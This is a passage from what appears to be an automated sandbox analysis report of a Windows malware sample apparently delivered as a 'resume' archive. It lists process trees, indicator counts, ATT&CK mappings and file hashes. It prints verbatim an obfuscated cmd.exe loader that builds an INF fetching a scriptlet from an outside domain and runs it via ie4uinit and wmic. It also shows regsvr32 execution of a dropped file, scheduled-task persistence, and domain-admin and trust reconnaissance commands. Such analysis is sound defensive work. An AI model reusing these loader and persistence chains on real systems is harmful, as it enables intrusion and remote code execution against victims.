864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

chrome.exetaskmgr.exe

pid	process
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe

Suspicious use of SetWindowsHookEx 21 IoCs

Processes:

OpenWith.exe

pid	process
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe
4712	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 4820 wrote to memory of 4220	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4220	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 3356	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4932	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4932	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe
PID 4820 wrote to memory of 4808	4820	chrome.exe	chrome.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Untitled Document 5"
1⤵
PID:740

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffaf8249758,0x7ffaf8249768,0x7ffaf8249778
  2⤵
  PID:4220
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1680 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:2
  2⤵
  PID:3356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1800 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:4932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1812 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:4808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3136 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:1
  2⤵
  PID:3872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3168 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:1
  2⤵
  PID:2384
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=1668 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:1
  2⤵
  PID:2692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4592 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:4388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4892 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:2284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5044 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:2348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5172 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:2776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=5212 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:1
  2⤵
  PID:180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=5476 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:1
  2⤵
  PID:2960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5708 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:1172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4664 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:1
  2⤵
  PID:312
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4192 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:1
  2⤵
  PID:1492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5108 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:1248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3416 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:3752
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3980 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:8
  2⤵
  PID:1996
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=4988 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:1
  2⤵
  PID:1996
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5624 --field-trial-handle=1884,i,11312466511097012692,17445214508716185742,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4724

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3136

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2076

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\resume\" -spe -an -ai#7zMap14777:74:7zEvent19281
1⤵
- Suspicious use of FindShellTrayWindow
PID:4812

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /v /c set "Networks9=President" && call set "Networks6=%Networks9:~3,1%" && !Networks6!et "Networks58=t" && (for %m in (c) do @set "Networks00=%~m") && !Networks6!et "Networks32=default" && !Networks6!et "Networks1=init" && (for %c in (a) do @set "Networks77=%~c") && !Networks6!et "Networks3=version" && !Networks6!et "Networks96=e" && !Networks6!et "Networks4=$w" && !Networks6!et "Networks93=si" && !Networks6!et "Networks80=." && !Networks6!et "Networks52=settings" && !Networks6!et "Networks85=d" && !Networks6!et "Networks60=a" && !Networks6!et "Networks09=!Networks80!inf" && !Networks6!et "Networks20=ieu!Networks1!!Networks09!" && c!Networks60!ll !Networks6!et "Networks5=%!Networks77!ppd!Networks60!ta%\micro!Networks6!oft\" && !Networks6!et "Networks7=!Networks5!!Networks20!" && (for %l in ("[!Networks3!]" "signature = !Networks4!indows nt$" "[!Networks85!e!Networks6!tinationdirs]" "2518=01" "!Networks32!destdir=11" "[!Networks32!in!Networks6!tall.windows7]" "!Networks85!elfil!Networks96!s=2518" "Un\" "Register\" "OCXs=C50A" "[2518]" "ieu%Networks34%!Networks09!" "[C50A]" "sc\" "ro%Networks71%j,NI,%Networks0%%Networks11%%Networks11%p%Networks41%%Networks2%%Networks2%jameslachman!Networks80!%Networks24%/wjgviwkk" "[!Networks6!!Networks58!rings]" "Networks34=!Networks1!" "Networks11=t;Networks30" "Networks2=/" "Networks90=%time%" "Networks24=com" "!Networks6!ervicen!Networks77!me=' '" "Networks41=:;Networks84" "!Networks6!hortsvcn!Networks77!me=' '" "Networks71=b;Networks83" "Networks0=h" ) do @e!Networks00!ho %~l)>"!Networks7!" && !Networks6!et "Networks19=ie4u!Networks1!.!Networks96!xe" && call xcopy /Y /C /Q %win!Networks85!ir%\!Networks6!ystem32\!Networks19! "!Networks5!*" | !Networks6!et Networks14=Direct && !Networks6!t!Networks77!rt "" wmi!Networks00! proce!Networks6!s call !Networks00!rea!Networks58!e "!Networks5!!Networks19! -base!Networks52!" | !Networks6!et "Networks95=Faith Mothers Custom Materials Months Trucks Sciences Holmes Adidas Instances Course Attend Places Causes Steps Uncover Buyer Fruits Bubble Exact Automobiles Ranch Robust Behind Leopard Cartridges Peripherals Frequent Fabric Scene Bounce Steel Recipes Constitutes Flows Toward Mention Recorders Damage Minor Essentials Prefers"
1⤵
PID:5020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" call xcopy /Y /C /Q %windir%\system32\ie4uinit.exe "C:\Users\Admin\AppData\Roaming\microsoft\*" "
  2⤵
  PID:3496
- - C:\Windows\system32\xcopy.exe
    xcopy /Y /C /Q C:\Windows\system32\ie4uinit.exe "C:\Users\Admin\AppData\Roaming\microsoft\*"
    3⤵
    PID:4084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" set Networks14=Direct "
  2⤵
  PID:4384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" start "" wmic process call create "C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings" "
  2⤵
  PID:4196
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process call create "C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings"
    3⤵
    PID:3568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" set "Networks95=Faith Mothers Custom Materials Months Trucks Sciences Holmes Adidas Instances Course Attend Places Causes Steps Uncover Buyer Fruits Bubble Exact Automobiles Ranch Robust Behind Leopard Cartridges Peripherals Frequent Fabric Scene Bounce Steel Recipes Constitutes Flows Toward Mention Recorders Damage Minor Essentials Prefers""
  2⤵
  PID:4000

C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe
C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
PID:2132
- C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe
  C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -ClearIconCache
  2⤵
  - Executes dropped EXE
  PID:432
- - C:\Windows\system32\RunDll32.exe
    C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
    3⤵
    PID:4396
- - C:\Windows\system32\RunDll32.exe
    C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
    3⤵
    PID:4640

C:\Windows\system32\regsvr32.exe
regsvr32 /s /n /i:Execute "C:\Users\Admin\AppData\Roaming\Microsoft\44373.drv"
1⤵
- Process spawned unexpected child process
PID:4668
- C:\Windows\SysWOW64\regsvr32.exe
  /s /n /i:Execute "C:\Users\Admin\AppData\Roaming\Microsoft\44373.drv"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:3952
- - C:\Windows\SysWOW64\schtasks.exe
    /Delete /F /TN "B491CA23DFA0F4"
    3⤵
    PID:4804
- - C:\Windows\SysWOW64\schtasks.exe
    /Create /TN "B491CA23DFA0F4" /XML "C:\ProgramData\Microsoft\912356B7FA.txt"
    3⤵
    - Creates scheduled task(s)
    PID:1112
- - C:\Windows\SysWOW64\cmd.exe
    /v /c set "kyfhgpe494=dialogs" && call set "kyfhgpe7=%kyfhgpe494:~6,1%" && !kyfhgpe7!et "kyfhgpe2=d" && c!kyfhgpe2! /!kyfhgpe2!"C:\Users\Admin\AppData\Roaming\Microsoft\" && !kyfhgpe2!el "44373.drv"
    3⤵
    PID:2968

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding
1⤵
PID:2280

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:864

C:\ProgramData\Microsoft\msxsl.exe
C:\ProgramData\Microsoft\msxsl.exe 892952CD692.txt 892952CD692.txt
1⤵
- Executes dropped EXE
- Modifies system certificate store
PID:3156

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:3368

C:\Windows\system32\cmd.exe
cmd /v /c calx & exit
1⤵
- Process spawned unexpected child process
PID:404

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:1416

C:\Windows\system32\cmd.exe
cmd /v /c nltest /trusted_domains > "C:\Users\Admin\AppData\Local\Temp\27037.txt" 2>&1
1⤵
- Process spawned unexpected child process
PID:964
- C:\Windows\system32\nltest.exe
  nltest /trusted_domains
  2⤵
  PID:3356

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:4984

C:\Windows\system32\cmd.exe
cmd /v /c net group /domain "Domain Admins" > "C:\Users\Admin\AppData\Local\Temp\63177.txt" 2>&1
1⤵
- Process spawned unexpected child process
PID:3672
- C:\Windows\system32\net.exe
  net group /domain "Domain Admins"
  2⤵
  PID:4996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 group /domain "Domain Admins"
    3⤵
    PID:1072

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:3396

C:\Windows\system32\cmd.exe
cmd /v /c whoami /upn > "C:\Users\Admin\AppData\Local\Temp\45921.txt" 2>&1
1⤵
- Process spawned unexpected child process
PID:1532
- C:\Windows\system32\whoami.exe
  whoami /upn
  2⤵
  PID:3064

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
PID:2244

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
PID:1688

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
PID:1464

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
PID:1112

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
PID:3032

C:\Windows\system32\typeperf.exe
typeperf.exe "\System\Processor Queue Length" -si 60 -sc 1
1⤵
- Process spawned unexpected child process
PID:4800

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4712
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Windows\System32\Tasks\B491CA23DFA0F4
  2⤵
  PID:4992

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\892952CD692.txt

Filesize
78KB

MD5
23abc4c31a382c27e5f3d1b83c5fbd56

SHA1
4abf0709af1d1b12499fc123c87fa78a7aa6b15a

SHA256
384de2a59329d9e9460f1ebd234366df4e070dbb66ab4876fac76b46bf2d00c7

SHA512
0cd529818781300fc67e5d3efba5b900cec1f655b9b51d01862762c189d32f4650fff793fcfe986bcd00ee02e0b491e9bf25cde210304ae71a72ab980fbd686e

Download Submit
C:\ProgramData\Microsoft\912356B7FA.txt

Filesize
1KB

MD5
72e0caa41f5827ab0915f235d24a678f

SHA1
1b6467aad8244a3bfd2c43f13b65a82a30f3a2f6

SHA256
341b2af6ca3d2fef233183727b9a7fcbefb228d8a5e6bf511076e0835211ad1f

SHA512
c393d0ceceece0c26b13b36370b6d85ee9906a1bf850f3e5d4bc2def4bb87e71abc934c3338d7a217c14d3b73c2cd0d13f46946f97f8940fe9c166993784749c

Download Submit
C:\ProgramData\Microsoft\msxsl.exe

Filesize
24KB

MD5
3e9f31b4e2cd423c015d34d63047685e

SHA1
8b516e7be14172e49085c4234c9a53c6eb490a45

SHA256
35ba7624f586086f32a01459fcc0ab755b01b49d571618af456aa49e593734c7

SHA512
cf36d14671d16b0f083ff85907661e045c00dcce46168f26188e22494eb7dd201614ddb1ea8cb82a87604c579ab4067710744b317eb6ff27c0e1a9c5cd8356c0

Download Submit
C:\ProgramData\Microsoft\msxsl.exe

Filesize
24KB

MD5
3e9f31b4e2cd423c015d34d63047685e

SHA1
8b516e7be14172e49085c4234c9a53c6eb490a45

SHA256
35ba7624f586086f32a01459fcc0ab755b01b49d571618af456aa49e593734c7

SHA512
cf36d14671d16b0f083ff85907661e045c00dcce46168f26188e22494eb7dd201614ddb1ea8cb82a87604c579ab4067710744b317eb6ff27c0e1a9c5cd8356c0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\294ca0d2-971e-4090-ab32-c6bb99656bb2.tmp

Filesize
6KB

MD5
28c2c021f9f79ef60cce8c76d69b9713

SHA1
ddcbf869683a14f45bb2231a0042d0ab92528735

SHA256
eca9dd524bc5bf5d872f6161cd95200c9513bcfc74fd6f6a1e69e1f708a01236

SHA512
3a818d150528dc7623f64b7a8f610bda2bb96577a962bff572d326e7d0cbe79ccb75094a50fef8b6daa5d217197421a1060e401a220354430b7346fe850d7b96

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000c

Filesize
171KB

MD5
7a88e1edbba1ad7bd345eb14f1377a59

SHA1
b299cf2eacc2d17d1f2fbda9391079b6f05fb022

SHA256
3f6aa29738172f431b8e2af2e39cba0c2f91583d7bc23f988c7b7b35975bef2c

SHA512
